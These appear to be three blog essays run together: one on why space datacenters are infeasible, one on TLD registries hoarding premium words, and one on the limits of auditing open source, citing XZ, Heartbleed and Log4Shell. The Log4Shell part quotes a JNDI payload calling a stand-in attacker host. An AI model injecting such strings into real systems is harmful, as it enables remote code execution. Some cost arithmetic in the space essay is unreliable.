There’s talk of space datacenters ~~lately~~ again, which is an **immensely stupid idea**. It is stupid because it is a physics and thermodynamics problem, not an engineering challenge. In this post, I will prove why space datacenters will **never** happen. **Not now, not in ten years, not in a hundred years**. While we have gotten far in space exploration technology, further than anyone decades ago thought, and while we have had great success in some aspects, such as the International Space Station, people are not computers (shocking, I know), and computers represent an entirely different set of constraints and problems. Among the space datacenter proponents, you will find the usual suspects: Sam Altman, Elon Musk, and Jeff Bezos. * Bezos and Musk Race to Bring Data Centers to Space [archived version] * Big Tech Dreams of Putting Data Centers in Space [archived version] * Jeff Bezos wants to move ‘all polluting industry into space to keep Earth clean [archived version] Let’s review the facts: ## Cooling On Earth, we have two basic methods for cooling. One is radiative, and the other is convection. Convection works on Earth because we have a fluid we call air. Air can be heated and cooled. However, the vacuum of space lacks any fluid to drive convection, leaving only radiative cooling. ### Radiative cooling in deep space The Stefan-Boltzmann law governing radiative cooling works as follows: $$ P = A \varepsilon \sigma (T_{body}^{4} - T_{environment}^{4}) $$ Where: * $P$ is the total radiated _power_ in watts ($W$) * $A$ is the _surface area_ in square metres ($m^2$) * $\varepsilon$ is the _emissivity_ of the surface (dimensionless $0 \leq \varepsilon \leq 1$), which can be simplified to $1$ * $\sigma$ is the _Stefan-Boltzmann constant_ * $T_{body}$ is the absolute temperature of the radiating surface in kelvin ($K$) * $T_{environment}$ is the temperature of the environment in kelvin ($K$) or the background radiation, which is around $2 K$ but can be simplified to $0$ Which leaves us with $ P = A \sigma (T_{body}^{4}) $ A good radiator would have an emissivity of around 80-90%. There are no real surfaces that can emit (convert into infrared radiation) 100% of the power they are fed, but by assuming this, we slightly simplify the equation. Additionally, as you may have noticed, the environment temperature on Earth is much higher, let’s say $300K$, which corresponds to around 26 degrees Celsius and 80 degrees Fahrenheit. This means that radiative cooling in space achieves better results. In fact, radiative cooling on Earth can be disregarded. More than 80% of the cooling for datacenter equipment comes from convection cooling, which includes heat pumps and water-cooling technologies, as they all ultimately dump heat into the surrounding air. Now, the Nvidia H200 GPU has a TDP of 700 watts (although this is not scientifically exact, it gives us a thermal budget to work with), and assuming a duty cycle of 80%, we get 560W. Conservatively assuming a datacenter with 4000 H200 GPUs, the total thermal power budget is $4000 \times 560 W = 2,240,000 W$, this is the value for $P$. Let’s also assume our target is to keep the radiators around 70 degrees Celsius, which is $343K$. So we get: $$ 2240000 = A \cdot \sigma \cdot 343^{4} $$ $$ 343^{4} = 13{,}841{,}287{,}201 $$ $$ \text{Using} \ \sigma = 5.670373 \times 10^{-8} \frac{W}{m^2 \cdot K^4} \ \text{(Stefan-Boltzmann constant)}$$ $$ \sigma \times 343^{4} = 5.670373 \times 10^{-8} \times 1.3841287201 \times 10^{10} $$ $$ 7.85 \times 10^{2} \frac{W}{m^2} \rightarrow 785 \frac{W}{m^2} $$ $$ A = \frac{2240000}{785} \approx 2854 \ \text{m}^2 $$ **Result** : You need approximately $2854 m^2$ of **perfect** radiator surface area ($\varepsilon = 1$) at 70°C to reject 2.24 MW into deep space. For scale: that’s a square radiator $\sqrt{2854} \approx 53\text{m} \times 53\text{m}$. It has to be completely flat because, given the lack of convective cooling in Space, introducing ridges would cause it to emit into itself. It also has to face away from the satellite (so it cannot be double-sided), otherwise it would be heating the satellite back. Also note that due to the simplifications ($\varepsilon=1$, $T_\text{env}=0$), this represents a **radiator in deep space** (not LEO/GEO where Earthshine adds $\sim200$–$300 \ \frac{W}{m^2}$ of infrared heating), which would yield even less favourable results. We are also assuming a **perfectly emissive surface** , but the best you can realistically achieve is **95% emissivity** , further increasing the size of the radiator surface needed. This is the **most optimistic case** , and you still need a radiator bigger than $50\times50 \ \text{m}$ for merely 4,000 GPUs. ### Convection cooling on Earth Let’s apply the same $2,240,000 \ W$ figure to atmospheric convective cooling. For this exercise, we will disregard radiative cooling, because the vast majority of heat is carried away by fans and HVAC in a real datacenter. Newton’s Law of Cooling (convective cooling): $$P = h \times A \times (T_{body} - T_{air})$$ Where: * $h$: convective heat transfer coefficient ($\frac{W}{m^2} K$) * $A$: heatsink surface area ($m^2$) * $T_{body}$: heatsink temperature ($K$) * $T_{air}$: datacenter ambient air ($K$) #### Heat transfer coefficient Calculating $h$ is difficult, because it depends on fluid dynamics and the radiator’s geometry. For more information, I recommend visiting the Wikipedia page on heat transfer coefficient because it can get incredibly complex. This tool can also help calculate the values. On this page, we can see: > Forced Convection - air, gases, and dry vapors: 10 - 1000 (W/(m2K)) “Forced convection” refers to convection cooling assisted with fans. The figure can reach hundreds, or even 1000, but in this case, we would be talking about very high-speed jets (airplane jet engines). A typical situation with electronics equipment, and radiators with fins can see figures between 50 and 200. For this analysis, we therefore choose a **conservative** forced-convection value of $ h = 50 \text{W/m}^2\text{K}$, comfortably within the typical (low) range for air-cooled electronics. Let’s plug in some values: * $T_{body} = 343 \text{K}$ (70°C, same as the previous radiative cooling value, for a fair comparison) * $T_{air} = 293 \text{K}$ (20°C, standard datacenter inlet) * $\Delta T = 50 \text{K}$ Given these values, let’s calculate the radiator size. $$ 2240000 = 50 \times A \times 50 $$ $$ 2240000 = 2500 \times A $$ $$ \frac{2240000}{2500} = A $$ $$ A = 896 m^2 $$ **Result** : $896m^2$ While still a lot, $ 896 m^2$ is $\sqrt{896} \approx 30 \times 30 \ m$. 30 metres by 30 metres is much smaller than 53 by 53 (or $2854 m^2$) compared to the radiative-cooling situation. But it can be improved even more. This $ 896 m^2 $ is about the total area. In forced convection, using fans, this surface can be made out of fins, as is usually the case with computer heatsinks, further reducing the necessary surface area by making it three-dimensional. And remember **I chose a conservative value of 50** for our $h$. In a real datacenter, the value could be **150** or more, which would make it $ \frac{2240000}{7500} = 298.6 \ m^2 \rightarrow \sqrt{298} \approx 17 \ m $, basically a bit more than half the size on each side. This CPU heatsink is approximately $0.6m^2$. GPUs have much larger heatsinks. Additionally, this does not account for heatpump-assisted cooling (air conditioning) that many datacenters have, further decreasing the inlet temperature and improving the thermal performance of convection cooling. ## Hardware failure in orbit, replacement, and logistics: Astronaut DCOEs When a GPU fails on Earth, you unplug it, remove it, ship it back to the manufacturer, and slot in a known-good replacement. This is routine work, often done by relatively junior technicians. Downtime is measured in minutes or hours. Now try to imagine the same operation in orbit. Once hardware starts failing in a space-based data center, you’re left with three broad options, none of them good. The **first option** is to keep human technicians aboard the data center at all times, with rotating crews and life-support systems, much like the ISS. This immediately explodes both cost and complexity. Humans require air, water, food, radiation shielding, escape systems, medical contingencies, and regular crew rotation. At that point, your data center is no longer a piece of infrastructure; it’s a permanently crewed space station, with operating costs that eclipse any plausible energy or financial savings compared to an Earth datacenter. The **second option** is to rely on ad-hoc repair missions: keep replacement hardware on the ground and launch a rocket whenever something breaks. This means long lead times, expensive launches, and accepting that even minor failures can take weeks or months to address. Each repair flight costs orders of magnitude more than the hardware being replaced, and the data center continues operating in a degraded state while you wait. The **third option** is to do nothing. Failed hardware is written off as lost, capacity permanently decreases, and redundancy slowly turns into dead mass. Every failure pushes the system further away from break-even and shortens its useful economic life and its redundancy capabilities. On Earth, you can swap out a malfunctioning GPU in minutes, with little to no training, and for **$200** -**$300**. In space? * Falcon 9 in 2025 costs around **$69M**. * SpaceX Dragon 2 seat price is around **$55M** per seat. * An ISS mission costs around **$60M** per seat. * An astronaut’s salary for a 1-week mission would be **several tens of thousands of dollars** , but irrelevant next to the amounts listed above. * Insurance can be about **10% of the total cost**. * Operation costs (regulatory compliance, permits, paperwork, etc) could be around **$10M**. We are talking about a $ 69+55+60+10 = 194 $ million dollars before insurance. With insurance, it’s around **$ 213M**. Just to replace one GPU. If you instead replace 8 GPUs, it is **$31M** per GPU. Still absolutely unfeasible. Nothing adds up. ## Efficiency of solar panels in space The Earth’s atmosphere is thick, and atmospheric phenomena can occur occasionally, including rain, clouds, and, of course, the day/night cycle, all of which would affect the solar panel, significantly decreasing its performance. A space datacenter could be positioned in such a way that always faces the sun; however, it can’t orbit the Earth, because at some point, it would be covered by the Earth’s shadow. An orbital datacenter scenario would look like this: * About 36% more performance per equivalent area compared to direct sunlight on Earth (however, there are no clouds in space, so you always have full power output when light shines on the panels). * In LEO, you lose roughly 1/3rd of each orbit to eclipse, essentially negating the benefits from the previous point. * High temperatures hurt PV output, so cooling must be added to the panels. This is a big problem, since the panels should face the sun and be away from the station; if the radiators point back to the station, they would heat it up. * Finally, since there are no power grids in space, batteries would have to be added to the station so it continues to operate during the eclipse, which not only increases the weight of the launch mission but also significantly increases every imaginable risk. Lead acid batteries can be damaged, and spray acid onto everything, destroying very expensive equipment, whereas lithium ion batteries can cause fires (unless, I suppose, there’s no air inside the space datacenter), but regardless, if a lithium ion battery fails, it will no longer hold a charge, and the datacenter will shut down for 30 minutes every 100. The only real benefit of space solar panels is the absence of night and clouds, but the increased PV output is offset by orbital eclipses. ## Bit-flipping cosmic rays Cosmic rays are extremely high-energy _particles_ (not radiation, despite their unintuitive name) that can cause electronics to malfunction or even be damaged. It’s easy to underestimate because nothing visibly hits the hardware, nothing gets hot, and nothing explodes. Instead, bits flip, logic misbehaves, and silicon quietly degrades over time. On Earth, most cosmic rays are deflected by Earth’s magnetic field, and many of the rest are absorbed by our thick, dense atmosphere. Deep space does not have such a luxury. They still happen, though. Even on Earth, large fleets at scale see memory errors often enough that ECC is standard in expensive equipment. Cosmic rays are one of the reasons. ### How cosmic rays break computers Cosmic rays can cause “bit-flips”, turning `0` into `1`, or `1` into `0` (this is called a “ _Single-Event Upset_ ”), but they can cause short circuits (_Single-Event Latchups_), or even energise parts of a circuit board in unexpected ways, destroying traces or transistor gates. Space-grade systems like the ISS, Mars rovers, and lunar landers are explicitly designed to tolerate these failure modes. They use extensive redundancy (often triple-modular redundancy with voting), aggressive error detection and correction, and continuous memory scrubbing to prevent silent corruption. Critical components are shielded with thick metallic enclosures, and the underlying silicon is manufactured using conservative, well-studied processes. As a result, space-qualified chips are intentionally several lithographic generations behind commercial hardware. Cutting-edge processors prioritise density, performance, and power efficiency; space hardware prioritises predictability, validation, and survivability. ### Mitigation strategies and their costs Cosmic ray mitigation is a well-established discipline in space engineering. Some techniques include: * **Shielding** (mass, making launch more expensive for an equivalent computing power) * **ECC everywhere** (complex and costly) * **Checkpoint/restart** (performance loss) * **Redundant execution** (more compute, more heat) * **Triple modular redundancy** (3x hardware, massively increasing infrastructure costs, and leading to potential underutilisation) * **Scrubbing and verification** (more power and compute invested into this that isn’t doing any actual work) Every mitigation increases one or more aspects that space systems can least afford: mass, power draw, thermal load, and system complexity. None of this is necessary on Earth, so at this point, by adding mitigations, we are **negating the advantages of space datacenters even further**. ## Launch costs Let’s crank some numbers. * 4000 GPU datacenter. * 500 nodes (each node holds 8 GPUs). * Node mass (loaded) around 90 kg (Supermicro HGX 8U is listed at 75.3 kg). * Packing density: 4 x 8U nodes per rack. * Rack mass (empty): 140 kg. * We need 125 racks to hold 500 nodes. $$ 125 \times 140 + 90 \times 500 = 62500 \ \text{kg} $$ These numbers assume ordinary, Earth-grade datacenter hardware, which is designed for ease of service and airflow rather than mass efficiency. Even then, this estimate ignores large categories of required hardware: networking gear, cabling, power distribution, diagnostics, structural elements, propulsion, altitude control, cooling systems, and solar power. A bespoke space-grade computer system would likely have different values, but it is not possible to calculate something that doesn’t exist, so I’ll go with this figure. From Wikipedia: > From 2017 to early 2022, the price has been stated at **US$150 million** for 63.8 t (141,000 lb) to LEO or 26.7 t (59,000 lb) to GTO (fully expendable). 63.8 metric tons is effectively the same payload class as our 62,500 kg estimate. That means launching _just the compute hardware_ (without power generation, thermal control, structure, or redundancy) already costs on the order of **$150 million**. That figure is for launch alone, before integration, insurance, failures, or replacement flights. ## Conclusion * A $ 2854 \ m^2 $ radiator with a 1 cm thickness would cost **$200,000** just in materials, without accounting for the hinges you need to unfold it in space, the heatpipes to transfer the heat from the GPUs to the radiators, and the engineering required to safely mount it to the side of a satellite, which could make it easily **$2M** * 4000 H200 GPUs is **45000 * 4000 = $180M** * Assuming triple redundancy to avoid cosmic-ray bit-flipping, we are talking about **180M * 3 = $540M** * Conservatively assuming two missions for a lifespan of 5 years on the datacenter (very unlikely, as hardware tends to fail more often, especially in space) **213 * 2 = $ 426M** * Launch costs of **$150M** The bill is already: **2M + 180M + 540M + 426M + 150M = $1298M**. This is $ \frac{1,298,000,000}{4000} = 324,500 $ USD per GPU, and this is an **optimistic cost estimation** assuming best-case scenarios and ignoring entire categories of logistics, networking, and added complexity. Or nearly 1 billion dollars. An enterprise-grade Google 50MW datacenter on Earth with 170,000 servers (significantly more than the 4000 GPU calculation) can cost just **$600M** , so about $ \frac{600,000,000}{170,000} \approx 3529 $ USD per server (each server can have multiple GPUs). And this is already an extremely expensive datacenter. So a space datacenter costs more than 100x for seemingly zero benefit, and it can hold several orders of magnitude less GPUs, and will likely have a shorter lifespan (5 years vs practically unlimited for an earth datacenter, with ongoing renovations). In space, literally everything is more complicated and the increased solar efficiency is cancelled out by the cost and danger of batteries, or the LEO orbit making the datacenter have a duty cycle of 1/3rd. Space datacenters are not just an engineering problem. No amount of money and resources can offset the fact that space is an incredibly hostile environment for computers. Yet, experiments show that we can send computers to space. Yes, in very small scales, and for very specific purposes. For example: Computers that can control and correct the position of satellites automatically, or computers that are able to compress pictures and other data so it is quicker and easier to beam them back to Earth. But you won’t be training general-purpose LLMs on satellites anytime in many hundreds or years, or, possibly, ever.

> Disclaimer: This post isn’t really about vibe-coding or AI-assisted coding; it’s about the domain name system, WHOIS, and how modern TLD operators have quietly recreated the same domain-squatting problem we spent decades trying to get rid of. While vibe-coding a small tool to hunt for interesting domain names, I stumbled into something I didn’t expect, and, honestly, something a bit worrying. ## A bit of history Initially, the Internet had only a handful of top-level domains. The familiar `.com`, `.net`, and `.org`, a few restricted ones like `.gov`, `.mil`, and `.edu`. And, of course, the well-known two-letter country codes that follow a strict naming convention and process. (Did you know .io and .me are actually country TLDs?) Everything was tightly regulated and intentionally slow to change. Then, domain speculation took off. If a `.com` costs $10/year, a squatter could buy a promising name and list it for $3,000 for a total profit of 3000 dollars minus 10 dollars for every year it stays reserved without purchase. Many did exactly that. Squatters also dynamically adjusted their pricing to new businesses. If a new business named “corp” showed up in a business registry, squatters would shortly jack up prices by as much as they wanted. Companies that arrived late to the Internet had to pay whatever the squatter demanded. It was unfortunate, but at least the squatting happened **after** registration. ### New gTLDs In the early 2000s, ICANN approved additional generic TLDs. By 2012, ICANN introduced a comprehensive application process, allowing organisations to run their own TLDs. That’s how we got `.info`, `.aero`, `.guru`, `.ninja`, and all the other TLDs. Organisations could apply to be the administrators of an entire TLD, after paying a hefty non-refundable application fee, and justifying their interest and how they plan on running the TLD. This would further decentralise the Internet. In theory, this should have solved domain scarcity by giving us thousands of fresh naming possibilities. In practice, something else happened. ## Finding unregistered domain names There are many highly memorable domain names that are simply English words. For example: apple.com, orange.fr, book.com, nest.com, time.com. I was on a mission to find catchy single-word domains with these new gTLDs. I could, of course, have written a script by hand, but since I had heard a lot about vibe-coding, and many people who were once sceptics recommended I tried Claude and see for myself what it could do. So I did. I vibe-coded a domain-search tool that lets me find simple, unregistered domains. What follows is a disheartening story of how every last corner of the Internet is built first and foremost with profitability in mind, and how the gTLD programme didn’t alleviate domain availability concerns and might have made it even worse. ### My tool (and why I wrote it) My hostname search tool works on two principles: 1. **If a domain name has any records → domain is registered.** 2. **If a domain name has no records → check WHOIS.** This is because it is entirely possible to register a domain and not publish any records on it. Additionally, some TLDs don’t return `NXDOMAIN` for reserved names, so WHOIS is the ultimate authority. Simple enough. Except it didn’t work. I kept getting thousands of false positives: domains that appeared unregistered but absolutely weren’t, because when I went to check each of them manually in registrars like GoDaddy or Hetzner, they either showed up as “unavailable” or available for price tags in the thousands of dollars, much higher than the usual TLD rates. ### What I discovered After digging for hours, I realised the issue wasn’t my code. It was the TLD operators. Many of the newer TLDs have pre-reserved vast dictionaries of common English words. Not registered in the usual sense, but flagged internally as “premium” names. WHOIS often returns ambiguous or non-standard results for these, so they look vacant to naïve tools. These domains aren’t available for $10–30/year like normal registrations. They’re held back and listed for hundreds or thousands of euros. In other words: TLD operators are now squatting domain names before anyone else even gets a chance. Entire TLDs launching with a pre-defined dictionary of high-value names, reserved specifically so the operator can profit from them and hopefully recoup the cost of registering and maintaining a new TLD with ICANN, which can cost hundreds of thousands of dollars, if not millions. Anything you can imagine and exists in the dictionary, I can guarantee you will be listed as a “Premium” domain. The TLD does not matter. `.ninja`, `.app`, `.engineering`, `.house`, `.zone`, `.network`, they all do the same. They all reserve common dictionary words to sell at ridiculous prices. ## Conclusion After digging into this, I’m convinced that the way we handle TLDs and domain allocation needs far more scrutiny than it gets. The promise of the gTLD expansion was more choice, more availability, and less artificial scarcity. What we got instead was a system that reproduces the same incentives as the old one, just closer to the root of the hierarchy. I don’t necessarily blame the registries. When ICANN charges hundreds of thousands of dollars to operate a new TLD, the economic incentives steer towards aggressive rent extraction. If you design a system that rewards scarcity, you will get scarcity: whether from squatters or from the registries themselves. But this still leaves newcomers at a disadvantage. Not just hobbyist sysadmins or people running homelabs, like myself, but even early-stage startups that need a memorable, trustworthy name long before they have the budget to pay four or five figures for a single word. The modern domain landscape quietly penalises exactly the people the gTLD programme was supposed to empower. At the very least, we need a clear and reliable mechanism to indicate which domains are available at standard rates, without conflating them with premium reservations or opaque registry holdbacks. Today, only large registrars have anything close to full visibility, and WHOIS is no longer reliable for this purpose. My little vibe-coded tool didn’t fail because of a bug: it failed because the ecosystem itself is opaque by design.

Most open source advocates, and many security professionals, often say things like “open source software is secure because you can just read the code”. This argument assumes that the ability to read source code directly translates into the ability to understand, verify, and trust it, because you can see the files this software opens or the network sockets it listens on. You can see the kind of network data it sends, and the cryptography it uses. This is usually contrasted with proprietary software, which is delivered only as an executable. Executables contain no human-readable source code; they are optimised machine instructions produced during compilation, often with additional obfuscation. So the intuition is simple: proprietary software hides its logic, while open source software exposes it. ## “Just read it, bro” Access to source code is not the same as the ability to meaningfully audit it. Modern software systems are enormous, interconnected, and often deeply complex. Understanding them requires specialised knowledge, extensive tooling, and a significant time investment, none of which most users have. Even security professionals rarely audit entire projects from scratch. There are two basic reasons why this argument makes no sense: your personal time investment and deflecting that investment onto someone else. ### Source available doesn’t mean you can read it “If you don’t trust the source code, you can just audit it yourself” is an argument I see open-source advocates use far too often. This has to stop. The people using this argument have probably never audited a significant, meaningful project; think of Linux, PulseAudio, Nginx, Dovecot, or Firefox. And, to be honest, that’s fine. Auditing a codebase is a costly endeavour that requires a team of dedicated professionals with years of experience and a multitude of tools. Just “reading” the source code is not enough. The mere availability of source code is indeed a significant advantage, but it is not the only way to audit software. In professional security assessments, static source review is far less common than dynamic testing, fuzzing, or reverse engineering. ### Source available also doesn’t mean people will just audit it in their free time I deliberately used the phrase “source available” to avoid confusion between free software, open source software, and software with open-source parts. For this topic, the public availability of the source code is all that matters, not the licensing terms. Even if the source code is one `git clone` away, that does not mean anyone will actually read it. At best, a handful of particularly motivated users might skim a few files that look interesting. But a meaningful security review requires following data flows, understanding the architecture, and reasoning about edge cases and failure modes. That is hard work that could take an experienced professional weeks or months. It’s not just a casual evening activity. Most users, including developers, install software to solve a problem, not to perform unpaid security audits. They trust package managers, distributions, corporate reputation, or “what everyone else is using”. Even highly skilled security professionals do not have the time to audit every library, dependency, and tool they rely on. In a modern stack with hundreds or thousands of transitive dependencies, the idea that “people will just read the code” is not realistic. There is also a problem of diffusion of responsibility. When millions of users depend on a project, each user could think that “Surely someone more qualified has already looked at this”. In practice, critical infrastructure is often maintained by one or two overworked volunteers, with no dedicated security team and no formal review process. The number of people with the experience and skills to audit code is small, and the number who will audit the entire source code _for free_ is practically zero. ## Reproducible builds Source availability creates the _possibility_ of independent audits, but even when someone does audit the source, that still leaves open a separate question: how do you know the binary you are actually running was built from that audited code? That is where concerns like reproducible builds, compilers, firmware, and supply-chain attacks start to matter. A reproducible build is one where, given the same source code and defined build inputs, independent parties can run the build process and obtain **bit‑for‑bit identical binaries**. If two people build the same version of the software on their own machines, they should get the same output. Only then can you compare your binary to a known‑good one and have any confidence that nothing was swapped or tampered with in between. In practice, most software is _not reproducible_ by default. Builds often depend on details of the environment that change from one machine or one moment to the next. Some usual sources of non‑reproducibility include: * Timestamps embedded into binaries, logs, or version strings (`__DATE__`, `__TIME__`, “built on 2025‑11‑30”). * Absolute paths and usernames compiled into debug info or error messages (`/home/alice/build/…`). * Random identifiers or UUIDs generated during the build. * Non-deterministic ordering of files or symbols (e.g., relying on filesystem or hash map iteration order). * Differences in locales and environments, such as sorting, decimal separators, or environment variables. * Toolchain and dependency differences, where a slightly different compiler, linker, or library produces slightly different output. None of this is malicious; it’s just how traditional build systems evolved. For decades, nobody cared whether two builds were bit‑identical. Developers got accustomed to embedding dates, hostnames, and custom flags because they were convenient for debugging or support, and build tools freely consumed whatever happened to be in the environment. Over time, the issue of build reproducibility arose. If I compile an identical source code on two identical machines, and they produce a different binary, how can I know the compiler didn’t tamper with the source code? Making builds reproducible means systematically removing or controlling all these hidden sources of variation. That typically involves: * Freezing the environment: pinning compiler and dependency versions, and building in a controlled, isolated environment (containers, chroots, Nix/Guix‑style systems, etc.). * Normalising time and paths: replacing “current time” with a fixed build timestamp, and stripping or standardising absolute paths and usernames (for example, via a shared `SOURCE_DATE_EPOCH`). * Eliminating non-deterministic order: using stable sorting, fixed iteration orders, and deterministic archive/packaging tools. * Avoiding random data at build time: you can generate random data on the first run of the application, or seed randomness with a fixed, documented value. Once a project adopts these practices, different people can independently build the same source and verify that they get identical binaries. That doesn’t solve every problem; you still have to worry about compilers, firmware, and the rest of the toolchain, but it at least closes a critical gap between “I audited this code” and “I trust this binary.” ## Did you audit your compiler? Did you audit your operating system? Did you audit your disk’s firmware? Source code cannot do anything on its own. If it’s an interpreted language (Ruby, Python, JavaScript, etc.), you need an interpreter. If it’s a compiled language (Go, C, C++, Rust, etc.), you need a compiler and possibly some external libraries. You also need an operating system to run your development tools, and dozens of peripherals, storage controllers, memory subsystems and network interfaces, along with their corresponding firmware. Together, they form what security researchers call the _trusted computing base_ : every piece of software and hardware that must be correct for the final program to behave as intended. Once you start thinking in terms of the trusted computing base, you realise that the behaviour of the final binary depends on far more than the lines of source code you reviewed. The compiler, the standard library, the kernel, the dynamic linker, the CPU microcode, the disk controller firmware, and countless other factors all influence the machine code that ultimately runs. That introduces additional factors and complexity into the process of auditing a binary… ## Walled gardens (like Signal) Some software projects publish their source code but still operate as walled gardens. Signal is one of the best-known examples. The client and server are open source, but Signal is a non-federated messaging platform. Even though you can run your own server, doing so would isolate you from everyone on the official network, because your contacts would have to register against your server in order to message you, and in doing so, they would not be able to chat with other Signal users. Drew DeVault goes into more detail on this topic in his post [archived version. You can read the server source code, but you cannot meaningfully verify that Signal.org is running that code, nor can you choose to run an alternative implementation without losing access to the network. In addition, Moxie, the author of Signal, doesn’t actually like third-party forks using the official Signal server[archived version]. While Signal offers reproducible builds [archived version], this does nothing to address the fact that you cannot verify or independently operate the server you are forced to trust. This also places a significant burden on the Signal maintainers, and could be subject to bribes or targeted backdoors, especially for Signal users downloading the Signal application from the Google or Apple app store. ## Supply chain attacks In this post, I’ve explained why it’s unrealistic for anyone to audit every line of every open-source project. I would also like to talk about something else: supply chain attacks. A “supply chain attack” is a cybersecurity term that manifests when an application has a vulnerable or malicious dependency. Most software is not written from scratch: Common utilities are often used to build highly complex software that handles DNS resolution, compression, JSON parsing, network traffic, HTML rendering, and even distributed computing. Due to the nature of software engineering, supply chain attacks are becoming more frequent over time, because the more complex a piece of software is, the more likely it is to depend on something vulnerable. Actually, as Ariadne points out [archived version], the software supply chain is not real: > For there to be a “supply chain”, there must be a supplier, which in turn requires a contractual relationship between two parties. With software licensed under FOSS licensing terms, a consumer receives a non-exclusive license to make use of the software however they wish (in accordance with the license requirements, of course), but non-exclusive licenses cannot and do not imply a contractual supplier-consumer relationship. However, in this section, I will be describing some of the most famous cybersecurity events in recent history that affected or were affected by the use of a “software supply chain”, as it is an industry-agreed term. ### The Jia Tan case (the XZ Utils backdoor) XZ Utils is a widely used compression library (xz / liblzma) that ships with most Linux distributions. In early 2024, it was discovered that a maintainer account using the name “Jia Tan” had slipped a highly obfuscated backdoor into XZ Utils. Fortunately, the attack was thwarted thanks to Andres Freund, a Microsoft engineer who was benchmarking SSH startup latency. Mr Freund was using a development version of Debian Linux and noticed that establishing SSH connections was slow. Instead of ignoring this, he used Valgrind to debug the OpenSSH process and noticed that something odd was going on with function calls, which he traced back to liblzma (part of XZ Utils). The most dramatic part of this story is that OpenSSH does _not_ depend on XZ Utils. The backdoor exploited an obscure dependency path through systemd: some distribution builds of OpenSSH link against `libsystemd`, which in turn depends on `liblzma`. This allowed the malicious library to override a cryptographic function used during authentication and accept attacker-provided SSH keys that would be otherwise rejected. This backdoor would have allowed any attacker with the correct private SSH key access to **every single OpenSSH server in the world** that installed the vulnerable software. This neatly illustrates the limits of “just read the source code”. XZ Utils is open source, but the backdoor evaded detection by both users and maintainers. Jia Tan spent around 2 years building trust as a “good contributor”. They submitted normal-looking patches, fixed bugs, and responded to reviews. In addition, Lasse Collin, the sole maintainer of XZ Utils, was exhausted, but grateful to have a “helpful” new co-maintainer who would help him. The backdoor was not present in the C source code or the public git repository. It was injected only into the release tarballs that Jia Tan, acting as a maintainer, personally generated and published. Those tarballs contained additional M4 macros and a hidden binary payload that did not exist in the public source code tree, allowing the malicious code to be compiled into `liblzma` during the build process. ### Chronically underfunded volunteer-run enterprise software (OpenSSL and Heartbleed) In this case, OpenSSL was not vulnerable to a supply-chain attack. Instead, it _was_ the supply chain for tens of millions of devices that rely on cryptography. From cars that use cryptographically signed firmware updates to Smart TVs, smartphones, and enterprise hardware like firewall appliances and network security cameras. All these devices and millions more use a cryptographic library known as OpenSSL, maintained by the OpenSSL project. We are talking about tens of billions of dollars of infrastructure built on a single open-source project. OpenSSL is a free, open-source and extremely popular cryptographic library. It implements TLS/SSL, handles X.509 certificates, performs low-level cryptography, and provides some of the most fundamental security primitives on which modern computing relies. It is, in many ways, part of the bedrock of the Internet. And yet, for years, OpenSSL ran on a shoestring budget. Before 2014, the entire project received roughly **$2,000 per year** in donations. Its development was led primarily by **one full-time developer** , assisted by a handful of volunteers. This combination of massive responsibility and minimal resourcing created an environment where mistakes were not unlikely; they were inevitable. Heartbleed (CVE-2014-0160) was one of those mistakes, and it was catastrophic. The vulnerability was introduced by a seemingly harmless patch: an implementation of the TLS heartbeat extension in December 2011. The issue was a missing bounds check: a client could claim that a heartbeat message contained a payload of a certain length, while actually sending a much smaller payload. OpenSSL would allocate a buffer based on the claimed length and then copy that many bytes from memory, returning, along with the attacker’s one-byte payload, up to **64 KB of whatever happened to be in memory** : private keys, session cookies, credentials or internal data structures. The first vulnerable release, version 1.0.1 was released on 14th March 2012. OpenSSL version 1.0.1g, on 7th April 2014, fixed the vulnerability. OpenSSL’s source code was, and remains, fully available. Anyone could have audited it. But few organisations stepped up, and even fewer were willing to fund full-time maintainers to keep it healthy. When Heartbleed became public, companies poured money into emergency response, but not into sustained long-term support. It was only after the incident that the Linux Foundation launched the Core Infrastructure Initiative, explicitly acknowledging that critical open-source software cannot survive on volunteer labour alone. ### The Risks of Deeply Embedded Dependencies (Log4Shell) Log4j is a widely used Java logging library that sits at the bottom of countless Java applications, including many popular ones like Apache Kafka, Elasticsearch, Minecraft, and more. Log4j has a feature called _lookups_ : `${...}` expressions in log patterns that are evaluated at runtime. One of those lookup types used the Java Naming and Directory Interface (JNDI), which can talk to directory services like LDAP. Log4Shell was the name given to a vulnerability in this mechanism. If an attacker could cause a string like `${jndi:ldap://attacker.example.com/a}` to appear in any logged field, Log4j would initiate the `JndiLookup` function to try to resolve the expression, which could direct the application to contact a malicious LDAP server with attacker-controlled Java bytecode that would be loaded onto the application. In many cases, this led directly to full remote code execution. This vulnerability earned a CVSS score of 10 (the highest possible) due to its trivial exploitation path, the ubiquity of Log4j, and the catastrophic consequences of triggering it. It remains one of the clearest examples of how a deeply embedded dependency can compromise innumerable pieces of software, despite the source code being open to everyone. ## Corporate profits above contributing to FOSS Another often-overlooked reality is that many giant corporations reap enormous benefits from open-source software without contributing back, as illustrated by several high-profile examples: ### FFmpeg: pay us or stop reporting bugs FFmpeg, the world’s most famous multimedia library, is used everywhere from streaming services to smartphones, and a small group of unpaid developers maintains it. A recent dispute [archived version] between the FFmpeg team and Google has started a conversation regarding the efforts of Google to report bugs in popular open source tools. Google’s AI-driven tools were finding and reporting vulnerabilities in this library, but they were not providing resources to fix them. Google spends millions of dollars on security research and bug hunting, but contributes next to nothing back to the open-source projects it works on. FFmpeg asserts that security researchers should accompany vulnerability reports with patches or funding. Otherwise, they become a burden on already overstretched volunteers. ### Apple and BSD Apple’s macOS and iOS (that initially started as a version of OS X, the previous name for macOS) are built on an open-source BSD Unix core. The licensing terms for BSD allow Apple to use this operating system as a base for a proprietary, highly profitable product without any requirement to contribute back. Apple was the first company to become a trillion-dollar company by market capitalisation, yet donated less than 500 USD in 2025 to the FreeBSD Foundation, which supports the BSD projects that made Apple’s operating system possible. Over the years, Apple has built a range of robust security features on top of its BSD-derived foundation, including GateKeeper, notarised applications, System Integrity Protection (SIP), the Secure Enclave, Kernel Address Space Layout Randomisation (KASLR), app sandboxing, and more. These are significant security innovations, but Apple developed and shipped them only for their proprietary products and never contributed them back to BSD. In essence, FreeBSD made macOS possible; Apple leveraged its open-source nature while keeping the most significant engineering achievements proprietary. ### Deprecating the Nginx Ingress Controller In 2025 [archived version], the Kubernetes authors made the shocking decision to retire one of the most popular open source ingress controllers available: The Nginx ingress controller. Yet, despite its widespread adoption, the Nginx Ingress Controller (or Ingress NGINX) project had only one or two people doing development work on their own time, after work hours, and sometimes on weekends. In early 2025, security researchers discovered critical flaws in Ingress NGINX that could allow complete cluster takeover [archived version]. 